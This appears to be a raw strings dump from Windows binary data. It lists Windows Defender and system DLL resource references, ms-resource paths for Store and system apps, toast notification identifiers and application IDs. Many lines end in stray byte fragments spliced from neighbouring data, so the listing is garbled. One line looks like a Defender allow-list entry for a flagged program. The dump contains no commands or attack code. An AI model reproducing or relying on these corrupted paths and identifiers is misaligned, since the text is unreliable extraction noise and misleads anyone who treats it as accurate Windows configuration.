l,@C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-244base
@%systemroot%\system32\FirewallControlPanel.dll,-12122
@%SystemRoot%\System32\ci.dll,-100
@%SystemRoot%\System32\ci.dll,-101fsvc.d
@%SystemRoot%\system32\dnsapi.dll,-103%
@%SystemRoot%\System32\fveui.dll,-843-50@
s @C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-240i
@C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-310%\syP
@C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-340W
@C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-330senuh
em@C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpAsDesc.dll,-400n
Ggorgon_windows_amd64!#AllowList:Program:Win32/Easy2Boot
@{C:\Program Files\WindowsApps\Microsoft.PowerAutomateDesktop_1.0.1420.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
@{C:\Program Files\WindowsApps\Microsoft.PowerAutomateDesktop_1.0.1420.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
@{C:\Program Files\WindowsApps\Microsoft.PowerAutomateDesktop_1.0.1420.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDisplayName}ystem
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.RawImageExtension_2.5.7.0_x64__8wekyb3d8bbwe%5Cresources.prioot%\sy
@{C:\Program Files\WindowsApps\Microsoft.RawImageExtension_2.5.7.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.ScreenSketch_11.2307.61.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2307.61.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
ll@{C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2307.61.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppName/Text}
@{C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2307.61.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe%5Cresources.pri
Se@{C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/PackageDisplayName}
dm@{C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/ProductDescription}
.d@{C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/DisplayName}00
@{C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/Description}+
@{C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.7824.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppName} 
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe%5Cresources.prid
sy@{C:\Program Files\WindowsApps\Microsoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/DisplayTitle}hostsvc
@{C:\Program Files\WindowsApps\Microsoft.StorePurchaseApp_22408.1400.1.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/Description}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Todos_0.120.7961.0_x64__8wekyb3d8bbwe%5Cresources.pri
cs@{C:\Program Files\WindowsApps\Microsoft.Todos_0.120.7961.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/app_name_todo}tem@
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.VP9VideoExtensions_1.2.12.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.VP9VideoExtensions_1.2.12.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}tem
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WebMediaExtensions_2.1.23.0_x64__8wekyb3d8bbwe%5Cresources.priystem
@{C:\Program Files\WindowsApps\Microsoft.WebMediaExtensions_2.1.23.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WebpImageExtension_1.2.14.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.WebpImageExtension_1.2.14.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Windows.DevHome_0.1700.597.0_x64__8wekyb3d8bbwe%5Cresources.priv
,-@{C:\Program Files\WindowsApps\Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwe%5Cresources.pritem32\p
@{C:\Program Files\WindowsApps\Microsoft.AV1VideoExtension_2.0.6.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.AVCEncoderVideoExtension_1.1.21.0_x64__8wekyb3d8bbwe%5Cresources.prion\Perc
@{C:\Program Files\WindowsApps\Microsoft.AVCEncoderVideoExtension_1.1.21.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}ystem
Sy@{C:\Program Files\WindowsApps\Microsoft.AVCEncoderVideoExtension_1.1.21.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.BingNews_1.0.2.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.BingNews_1.0.2.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/ApplicationTitleWithTagline}
@{C:\Program Files\WindowsApps\Microsoft.BingNews_1.0.2.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/ApplicationTitleWithBrandingWithNewName}
@{C:\Program Files\WindowsApps\Microsoft.BingNews_1.0.2.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/ApplicationTitle}S
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.BingSearch_1.1.43.0_x64__8wekyb3d8bbwe%5Cresources.pridows 
10@{C:\Program Files\WindowsApps\Microsoft.BingSearch_1.1.43.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/PackageDisplayName}
Sy@{C:\Program Files\WindowsApps\Microsoft.BingSearch_1.1.43.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppTileDisplayName}Env.d
20@{C:\Program Files\WindowsApps\Microsoft.BingSearch_1.1.43.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.BingWeather_3.2.10.0_x64__8wekyb3d8bbwe%5Cresources.pri+
@{C:\Program Files\WindowsApps\Microsoft.BingWeather_3.2.10.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/ApplicationTitleWithBranding}0
@{C:\Program Files\WindowsApps\Microsoft.BingWeather_3.2.10.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/ApplicationTitleShort}.
@{C:\Program Files\WindowsApps\Microsoft.BingWeather_3.2.10.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/ApplicationDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe%5Cresources.pri\s
em@{C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/appDisplayName}em32\s
@{C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/wingetFileTypeDisplayName}(
@{C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/wingetAppDisplayName}
@{C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.26.509.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/appDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.GetHelp_10.2407.22193.0_x64__8wekyb3d8bbwe%5Cresources.priy
@{C:\Program Files\WindowsApps\Microsoft.GetHelp_10.2407.22193.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/appDisplayName}
@{C:\Program Files\WindowsApps\Microsoft.GetHelp_10.2407.22193.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/appDescription}t%\sy
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.HEIFImageExtension_1.2.28.0_x64__8wekyb3d8bbwe%5Cresources.prim32\v
@{C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.2.28.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}
@{C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.2.28.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.HEVCVideoExtension_2.4.39.0_x64__8wekyb3d8bbwe%5Cresources.pric.dll
@{C:\Program Files\WindowsApps\Microsoft.HEVCVideoExtension_2.4.39.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}00
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.MicrosoftStickyNotes_4.0.6105.0_x64__8wekyb3d8bbwe%5Cresources.priy
@{C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_4.0.6105.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/StickyNotesStoreAppName}stem
@{C:\Program Files\WindowsApps\Microsoft.MicrosoftStickyNotes_4.0.6105.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/StickyNotesAppName}w
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.MPEG2VideoExtension_1.2.13.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.MPEG2VideoExtension_1.2.13.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppStoreName}t
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.Paint_11.2412.295.0_x64__8wekyb3d8bbwe%5Cresources.priconmg
@{C:\Program Files\WindowsApps\Microsoft.Paint_11.2412.295.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDisplayName}
@{C:\Program Files\WindowsApps\Microsoft.Paint_11.2412.295.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///Resources/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.PowerAutomateDesktop_1.0.1420.0_x64__8wekyb3d8bbwe%5Cresources.prim
@%SystemRoot%\System32\AppReadiness.dll,-1000
@%Systemroot%\system32\wbem\wmisvc.dll,-205
@%systemroot%\system32\appinfo.dll,-100
@%SystemRoot%\system32\licensemanagersvc.dll,-200
@%systemroot%\system32\wdi.dll,-500
@%SystemRoot%\system32\pcasvc.dll,-1
@%SystemRoot%\system32\windowsudkservices.shellcommon.dll,-100
@%SystemRoot%\system32\wlidsvc.dll,-100
@%systemroot%\system32\appidsvc.dll,-100
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.FilePicker_cw5n1h2txyewy%5Cresources.priSy
@{C:\Windows\SystemApps\Microsoft.Windows.FilePicker_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_DisplayName} 
@{C:\Windows\SystemApps\Microsoft.Windows.FilePicker_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_Description}t
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.FileExplorer_cw5n1h2txyewy%5Cresources.pri
.d@{C:\Windows\SystemApps\Microsoft.Windows.FileExplorer_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_DisplayName}k
@{C:\Windows\SystemApps\Microsoft.Windows.FileExplorer_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_Description}o
@{C:\Windows\SystemApps\Microsoft.Windows.FileExplorer_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_ShortName}u
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.AppResolverUX_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.Windows.AppResolverUX_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_DisplayName}
@{C:\Windows\SystemApps\Microsoft.Windows.AppResolverUX_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_Description}
@{C:\Windows\SystemApps\Microsoft.Windows.AppResolverUX_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_ShortName}k
@{C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
@{C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppName/Text}
@{C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDescription}l,-1780
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\resources.pri? ms-resource:///StartMenuExperienceHost/PkgDisplayName}s.d
@{C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\resources.pri? ms-resource:///StartMenuExperienceHost/PublisherDisplayName}res.d
70@{C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\resources.pri? ms-resource:///StartMenuExperienceHost/AppName/Text}
@{C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\resources.pri? ms-resource:///StartMenuExperienceHost/AppDescription}
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.XGpuEjectDialog_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\ImmersiveControlPanel\resources.pri? ms-resource:///resources/DisplayName}
@{C:\Windows\SystemApps\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_DisplayName}l,-651
@{C:\Windows\SystemApps\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_Description}
@{C:\Windows\SystemApps\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_ShortName}
C:%5CWindows%5CSystemApps%5CMicrosoft.XboxGameCallableUI_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PkgDisplayName}
@{C:\Windows\SystemApps\Microsoft.XboxGameCallableUI_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
C:%5CWindows%5CSystemApps%5CSxS%5CMicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy%5Cresources.pri
C:%5CWindows%5CSystemApps%5CMicrosoft.Windows.AddSuggestedFoldersToLibraryDialog_cw5n1h2txyewy%5Cresources.prin
@{C:\Windows\SystemApps\Microsoft.Windows.AddSuggestedFoldersToLibraryDialog_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_DisplayName}0
@{C:\Windows\SystemApps\Microsoft.Windows.AddSuggestedFoldersToLibraryDialog_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppxManifest_Description}(
C:%5CWindows%5CSystemApps%5CMicrosoft.AAD.BrokerPlugin_cw5n1h2txyewy%5Cresources.priP
@{C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PackageDisplayName}m
@{C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}o
30@{C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PackageDescription}u
C:%5CWindows%5CSystemApps%5CMicrosoft.AccountsControl_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Microsoft.AccountsControl_cw5n1h2txyewy\resources.pri? ms-resource:///resources/DisplayName}0
@{C:\Windows\SystemApps\Microsoft.AccountsControl_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
@{C:\Windows\SystemApps\Microsoft.AccountsControl_cw5n1h2txyewy\resources.pri? ms-resource:///resources/Description}t
C:%5CWindows%5CSystemApps%5CMicrosoft.AsyncTextService_8wekyb3d8bbwe%5Cresources.pri(
@{C:\Windows\SystemApps\Microsoft.AsyncTextService_8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppDisplayName}
60@{C:\Windows\SystemApps\Microsoft.AsyncTextService_8wekyb3d8bbwe\resources.pri? ms-resource:///resources/PublisherDisplayName}U
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///ActionFX/Resources/AppDisplayName}D
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///CrossDeviceResume/Resources/AppDisplayName}
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///DiscoveryHub/Resources/AppDisplayName}a
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///resources/AppDisplayName}
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///VisualAssist/Resources/AppDisplayName}
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///resources/WebExperienceHostAppName/Text}
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///WindowsBackup/Resources/WindowsBackupHostName}e
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///ActionFX/Resources/AppDescription}l
.d@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///CrossDeviceResume/Resources/AppDescription}
.d@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///DiscoveryHub/Resources/AppDescription}e
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///Cortana.UI/Resources/Description}
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///VisualAssist/Resources/AppDescription}e
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///resources/WebExperienceHostDescription}
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///WindowsBackup/Resources/WindowsBackupDescription}
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\resources.pri? ms-resource:///Cortana.UI/Resources/TileShortcutName}71X
C:%5CWindows%5CSystemApps%5CMicrosoftWindows.Client.CoreAI_cw5n1h2txyewy%5Cresources.pri
.d@{C:\Windows\SystemApps\MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy\resources.pri? ms-resource:///AIXHost/ClickToDo/AppDisplayName}S
@{C:\Windows\SystemApps\MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy\resources.pri? ms-resource:///AIXHost/ClickToDo/AppDescription}O
C:%5CWindows%5CSystemApps%5CMicrosoftWindows.Client.Core_cw5n1h2txyewy%5Cresources.pri.d
@{C:\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\resources.pri? ms-resource:///resources/ProductPkgDisplayName}
@{C:\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\resources.pri? ms-resource:///resources/ScreenClippingAppName/Text}2
@{C:\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy\resources.pri? ms-resource:///resources/ScreenClippingDescription}82
C:%5CWindows%5CSystemApps%5CMicrosoftWindows.Client.FileExp_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\MicrosoftWindows.Client.FileExp_cw5n1h2txyewy\resources.pri? ms-resource:///resources/ProductPkgDisplayName}E
C:%5CWindows%5CSystemApps%5CMicrosoftWindows.Client.OOBE_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\resources.pri? ms-resource:///resources/ProductPkgDisplayName}
@{C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\resources.pri? ms-resource:///resources/OobeHostAppName/Text}
@{C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy\resources.pri? ms-resource:///resources/OobeHostDescription}
C:%5CWindows%5CSystemApps%5CMicrosoftWindows.Client.Photon_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy\resources.pri? ms-resource:///resources/ProductPkgDisplayName}
C:%5CWindows%5CSystemApps%5CWindows.CBSPreview_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Windows.CBSPreview_cw5n1h2txyewy\resources.pri? ms-resource:///resources/DisplayName}
@{C:\Windows\SystemApps\Windows.CBSPreview_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}.d
.d@{C:\Windows\SystemApps\Windows.CBSPreview_cw5n1h2txyewy\resources.pri? ms-resource:///resources/Description}
C:%5CWindows%5CImmersiveControlPanel%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.Todos_0.120.7961.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/app_name_ms_todo}
@{C:\Windows\ImmersiveControlPanel\resources.pri? ms-resource:///resources/PublisherDisplayName}
@{C:\Windows\ImmersiveControlPanel\resources.pri? ms-resource:///resources/Description}
C:%5CWindows%5CSystemApps%5CWindows.PrintDialog_cw5n1h2txyewy%5Cresources.pri
@{C:\Windows\SystemApps\Windows.PrintDialog_cw5n1h2txyewy\resources.pri? ms-resource:///resources/DisplayName}.d
@{C:\Windows\SystemApps\Windows.PrintDialog_cw5n1h2txyewy\resources.pri? ms-resource:///resources/PublisherDisplayName}
@{C:\Windows\SystemApps\Windows.PrintDialog_cw5n1h2txyewy\resources.pri? ms-resource:///resources/Description}
C:%5CProgram Files%5CWindowsApps%5CClipchamp.Clipchamp_4.3.10120.0_x64__yxz26nhyzhsrt%5Cresources.pri
@{C:\Program Files\WindowsApps\Clipchamp.Clipchamp_4.3.10120.0_x64__yxz26nhyzhsrt\resources.pri? ms-resource:///resources/Clipchamp/AppName}M
@{C:\Program Files\WindowsApps\Clipchamp.Clipchamp_4.3.10120.0_x64__yxz26nhyzhsrt\resources.pri? ms-resource:///resources/Clipchamp/AppDescription}
C:%5CProgram Files%5CWindowsApps%5CMicrosoft.ApplicationCompatibilityEnhancements_1.2511.9.0_x64__8wekyb3d8bbwe%5Cresources.pri
@{C:\Program Files\WindowsApps\Microsoft.ApplicationCompatibilityEnhancements_1.2511.9.0_x64__8wekyb3d8bbwe\resources.pri? ms-resource:///resources/AppName}
Windows.Defender
Windows.System.AppInitiatedDownload
Windows.System.Audio
Windows.System.Continuum
Windows.System.DialServer
Windows.System.MiracastReceiver
Windows.System.NearShareExperienceReceive
Windows.System.ShareExperience
Windows.SystemToast.AccountHealth
Windows.SystemToast.AudioTroubleshooter
Windows.SystemToast.AutoPlay
Windows.SystemToast.BackgroundAccess
Windows.SystemToast.BackupReminder
Windows.SystemToast.BdeUnlock
Windows.SystemToast.BitLockerPolicyRefresh
Windows.SystemToast.Bthprops
Windows.SystemToast.BthQuickPair
Windows.SystemToast.Calling
Windows.SystemToast.Calling.SystemAlertNotification
Windows.SystemToast.CameraTroubleshooter
Windows.SystemToast.Compat
Windows.SystemToast.DefaultAudioEndpoint
Windows.SystemToast.DeviceConsent
Windows.SystemToast.DeviceEnrollmentActivity
Windows.SystemToast.DeviceManagement
Windows.SystemToast.Devices
Windows.SystemToast.DevicesFlow
Windows.SystemToast.DisplayBroker
Windows.SystemToast.EnterpriseDataProtection
Windows.SystemToast.Explorer
Windows.SystemToast.HelloFace
Windows.SystemToast.LanguageSettings
Windows.SystemToast.LocationManager
Windows.SystemToast.LowDisk
Windows.SystemToast.NfpAppAcquire
Windows.SystemToast.NfpAppLaunch
Windows.SystemToast.NfpDevicePairing
Windows.SystemToast.NfpReceiveContent
Windows.SystemToast.PinConsent
Windows.SystemToast.PresenceSensing.OnlookerDetection
Windows.SystemToast.Print.Notification
Windows.SystemToast.Print.PrinterCleanupTask
Windows.SystemToast.Print.PrintNotification
Windows.SystemToast.RasToastNotifier
Windows.SystemToast.RecallSetup
Windows.SystemToast.SecurityAndMaintenance
Windows.SystemToast.SecurityCenter
Windows.SystemToast.ServiceInitiatedHealing.Notification
Windows.SystemToast.Share
Windows.SystemToast.SoftLanding
Windows.SystemToast.SpeechServices
Windows.SystemToast.StartupApp
Windows.SystemToast.StorSvc
Windows.SystemToast.SuggestedActions
Windows.SystemToast.Usb.Notification
Windows.SystemToast.WiFiNetworkManager
Windows.SystemToast.WindowsUpdate.MoNotification
Windows.SystemToast.WindowsUpdate.MoNotification2
Windows.SystemToast.Wwansvc
Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy!Microsoft.Windows.XGpuEjectDialog
1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy!Microsoft.Windows.FilePicker
E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUX
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefaultLockScreen
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!App
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy!App
Microsoft.Windows.CapturePicker_cw5n1h2txyewy!App
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!App
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy!App
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy!App
Microsoft.Windows.ParentalControls_cw5n1h2txyewy!App
Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy!App
Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy!App
Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy!App
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy!FullTrustApp
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!App
Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy!FullTrustApp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!SoftLanding
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.SystemTray
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!Global.Taskbar
MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!Global.SpeechSynthesizerExtension
MicrosoftWindows.59336768.Speion_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.SpeechRecognizerExtension
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessHost
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!Global.VoiceAccessPlugin
MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!Global.LiveCaptionsDesktop
MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!Global.TextInputExtensions
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!InputApp
MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy!PackageMetadata
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!ActionRuntime
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUI
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustApp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CrossDeviceResumeApp
MicrosoftWindows.Client.CBS_cw5n1h2txyewy!DesktopStickerEditorCentennial
